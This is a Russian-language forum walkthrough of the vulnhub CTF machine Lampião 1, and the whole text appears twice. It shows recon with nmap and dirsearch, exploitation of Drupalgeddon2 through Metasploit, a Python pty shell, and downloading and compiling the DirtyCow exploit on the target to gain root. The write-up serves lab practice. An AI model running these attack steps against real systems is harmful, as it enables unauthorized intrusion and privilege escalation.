Debug
17.12.2018, 08:58
Всем привет! Сегодня я хочу рассказать как решать задачу CTF размещенную на vulnhub.com под названием Lampião 1.
В описание автор заявляет, что прохождение не требует как-либо дополнительных знаний об эксплуатации машины.
Уровень легкий
Скачать образ вы можете отсюда: Index of /lampiao/
В данном случае я не буду использовать Kali Linux, а буду использоватьPentestBox под Windows.
Для тех кто не в танке PentestBox - это набор сборка утилит для пентеста. В этой сборке собраны все необходимые инструменты для сбора и анализа приложений, для аудита, реверса, форензике и много другое.
Прохождение
После того как мы загрузили и настроили машину, наша цель - получить IP. Сделать это можно несколькими способами, для этих целей подходит:
arp-scan -l, netdiscover
Я же поступил проще и зашел в админку роутера и посмотрел IP в аренде адреса DHCP
https://forum.antichat.xyz/attachments/29008695/1545020635960.png
Обратите внимание: IP-адрес цели и компьютера-злоумышленника может отличаться в зависимости от конфигурации вашей сети.
Хорошо, зная IP мы можем просканировать нашу машины на наличие открытых портов. Будем использовать nmap
Команда: nmap -sV -p- 192.168.1.138.
Вот что мы получим:
https://forum.antichat.xyz/attachments/29008695/img_101abf6cf2.png
Теперь рассмотрим что значит
-p
- сканирование всех портов.
-sV
- определение служб. Мы имеем 3 открытых порта(80, 22, 1898).
Начнем с порта 80. Перейдя по адресу
http://192.168.1.138:80
мы увидим.
https://forum.antichat.xyz/attachments/29008695/img_af66f9fbc5.png
После недолгого анализа, я не нашел ничего интересного на этой странице. Также был просмотрен исходный код страницы, но там тоже не оказалось ничего полезного для нас. Мы можем также пробрутить директории. Для этого будем использовать dirsearch
Команда: python3 dirsearch.py -u http://192.168.1.138:80 -e html,php,txt,bak -x 403
где -u адрес -e расширения -x игнорирование страниц с кодом 403. К сожалению поиск не дал ничего. Хорошо, теперь наша задача посмотреть следующий порт - 1898.
Переходим по адресу
http://192.168.1.138:1898
https://forum.antichat.xyz/attachments/29008695/img_fd5a3118cc.png
Ага, перед нами явно движок Drupal. Проверить это можно если перейти по адресу
http://192.168.1.138:1898/CHANGELOG.txt
https://forum.antichat.xyz/attachments/29008695/img_cd140ab23e.png
Теперь мы можем используя какой-нибудь сканер уязвимости проверить сайт на уязвимости. Лично я делать этого не стал, ведь после того как увидел, что версия Drupal 7.54 недолго думая я вспомнил про уязвимость DRUPALGEDDON2(CVE-2018-7600) Работает на 7.х и 8.х и вплоть до 8.5.0. Также очень приятно для нас, что нам не надо искать exploit, все уже есть в metasploitИспользуя модуль drupal_drupalgeddon2 мы должны получить сессию.
Команда: use exploit/unix/webapp/drupal_drupalgeddon2
Посмотрим какие данные нам нужно заполнить
show options
Установим значение RHOST, RPORT
Код:
set rhost 192.168.1.138
set rport 1898
https://forum.antichat.xyz/attachments/29008695/1545021930450.png
Теперь получим командную оболочку - shell. Дальше получим интерактивную оболочку Python, чтобы мы могли запускать
команды в интерактивном режиме.
python -c 'import pty; pty.spawn (“/ bin / bash”)'
Получим информацию о версии ядра
uname -a
https://forum.antichat.xyz/attachments/29008695/1545022061061.png
Для тех, кто не совсем понял мы имеем дело со старой версией ядра. В таких задачах очень часто используют exploit DirtyCow(Грязная корова)
Найти exploit не трудно. С помощью команды wget скачаем exploit.
wget https://www.exploit-db.com/download/40847.cpp (используется для загрузки exploit на целевой машине)
https://forum.antichat.xyz/attachments/29008695/1545022249362.png
Теперь наша задача скомпилировать exploit. На самой странице https://www.exploit-db.com/download/40847.cpp можно найти код
g ++ -Wall -pedantic -O2 -std = c ++ 11 -pthread -o dcow 40847.cpp -lutil
Как объяснено выше и видно на скриншоте, мы загрузили exploit в каталог tmp целевой машины и скомпилировали его. Итак, теперь наш exploitготов к выполнению:
./dcow
После запуска exploit успешно выполняется на целевой машине и сообщает нам, что пароль root - «dirtyCowFun».
Затем мы использовали команду su , ввели пароль и получили root-доступ на целевой машине.
Поскольку задача состояла в том, чтобы получить доступ с правами root и прочитать файл flag.txt, мы почти готовы его выполнить. Давайте перейдем в корневой каталог и прочитаем файл flag.txt
https://forum.antichat.xyz/attachments/29008695/1545022613574.png
На этом все)
В описание автор заявляет, что прохождение не требует как-либо дополнительных знаний об эксплуатации машины.
Уровень легкий
Скачать образ вы можете отсюда: Index of /lampiao/
В данном случае я не буду использовать Kali Linux, а буду использоватьPentestBox под Windows.
Для тех кто не в танке PentestBox - это набор сборка утилит для пентеста. В этой сборке собраны все необходимые инструменты для сбора и анализа приложений, для аудита, реверса, форензике и много другое.
Прохождение
После того как мы загрузили и настроили машину, наша цель - получить IP. Сделать это можно несколькими способами, для этих целей подходит:
arp-scan -l, netdiscover
Я же поступил проще и зашел в админку роутера и посмотрел IP в аренде адреса DHCP
https://forum.antichat.xyz/attachments/29008695/1545020635960.png
Обратите внимание: IP-адрес цели и компьютера-злоумышленника может отличаться в зависимости от конфигурации вашей сети.
Хорошо, зная IP мы можем просканировать нашу машины на наличие открытых портов. Будем использовать nmap
Команда: nmap -sV -p- 192.168.1.138.
Вот что мы получим:
https://forum.antichat.xyz/attachments/29008695/img_101abf6cf2.png
Теперь рассмотрим что значит
-p
- сканирование всех портов.
-sV
- определение служб. Мы имеем 3 открытых порта(80, 22, 1898).
Начнем с порта 80. Перейдя по адресу
http://192.168.1.138:80
мы увидим.
https://forum.antichat.xyz/attachments/29008695/img_af66f9fbc5.png
После недолгого анализа, я не нашел ничего интересного на этой странице. Также был просмотрен исходный код страницы, но там тоже не оказалось ничего полезного для нас. Мы можем также пробрутить директории. Для этого будем использовать dirsearch
Команда: python3 dirsearch.py -u http://192.168.1.138:80 -e html,php,txt,bak -x 403
где -u адрес -e расширения -x игнорирование страниц с кодом 403. К сожалению поиск не дал ничего. Хорошо, теперь наша задача посмотреть следующий порт - 1898.
Переходим по адресу
http://192.168.1.138:1898
https://forum.antichat.xyz/attachments/29008695/img_fd5a3118cc.png
Ага, перед нами явно движок Drupal. Проверить это можно если перейти по адресу
http://192.168.1.138:1898/CHANGELOG.txt
https://forum.antichat.xyz/attachments/29008695/img_cd140ab23e.png
Теперь мы можем используя какой-нибудь сканер уязвимости проверить сайт на уязвимости. Лично я делать этого не стал, ведь после того как увидел, что версия Drupal 7.54 недолго думая я вспомнил про уязвимость DRUPALGEDDON2(CVE-2018-7600) Работает на 7.х и 8.х и вплоть до 8.5.0. Также очень приятно для нас, что нам не надо искать exploit, все уже есть в metasploitИспользуя модуль drupal_drupalgeddon2 мы должны получить сессию.
Команда: use exploit/unix/webapp/drupal_drupalgeddon2
Посмотрим какие данные нам нужно заполнить
show options
Установим значение RHOST, RPORT
Код:
set rhost 192.168.1.138
set rport 1898
https://forum.antichat.xyz/attachments/29008695/1545021930450.png
Теперь получим командную оболочку - shell. Дальше получим интерактивную оболочку Python, чтобы мы могли запускать
команды в интерактивном режиме.
python -c 'import pty; pty.spawn (“/ bin / bash”)'
Получим информацию о версии ядра
uname -a
https://forum.antichat.xyz/attachments/29008695/1545022061061.png
Для тех, кто не совсем понял мы имеем дело со старой версией ядра. В таких задачах очень часто используют exploit DirtyCow(Грязная корова)
Найти exploit не трудно. С помощью команды wget скачаем exploit.
wget https://www.exploit-db.com/download/40847.cpp (используется для загрузки exploit на целевой машине)
https://forum.antichat.xyz/attachments/29008695/1545022249362.png
Теперь наша задача скомпилировать exploit. На самой странице https://www.exploit-db.com/download/40847.cpp можно найти код
g ++ -Wall -pedantic -O2 -std = c ++ 11 -pthread -o dcow 40847.cpp -lutil
Как объяснено выше и видно на скриншоте, мы загрузили exploit в каталог tmp целевой машины и скомпилировали его. Итак, теперь наш exploitготов к выполнению:
./dcow
После запуска exploit успешно выполняется на целевой машине и сообщает нам, что пароль root - «dirtyCowFun».
Затем мы использовали команду su , ввели пароль и получили root-доступ на целевой машине.
Поскольку задача состояла в том, чтобы получить доступ с правами root и прочитать файл flag.txt, мы почти готовы его выполнить. Давайте перейдем в корневой каталог и прочитаем файл flag.txt
https://forum.antichat.xyz/attachments/29008695/1545022613574.png
На этом все)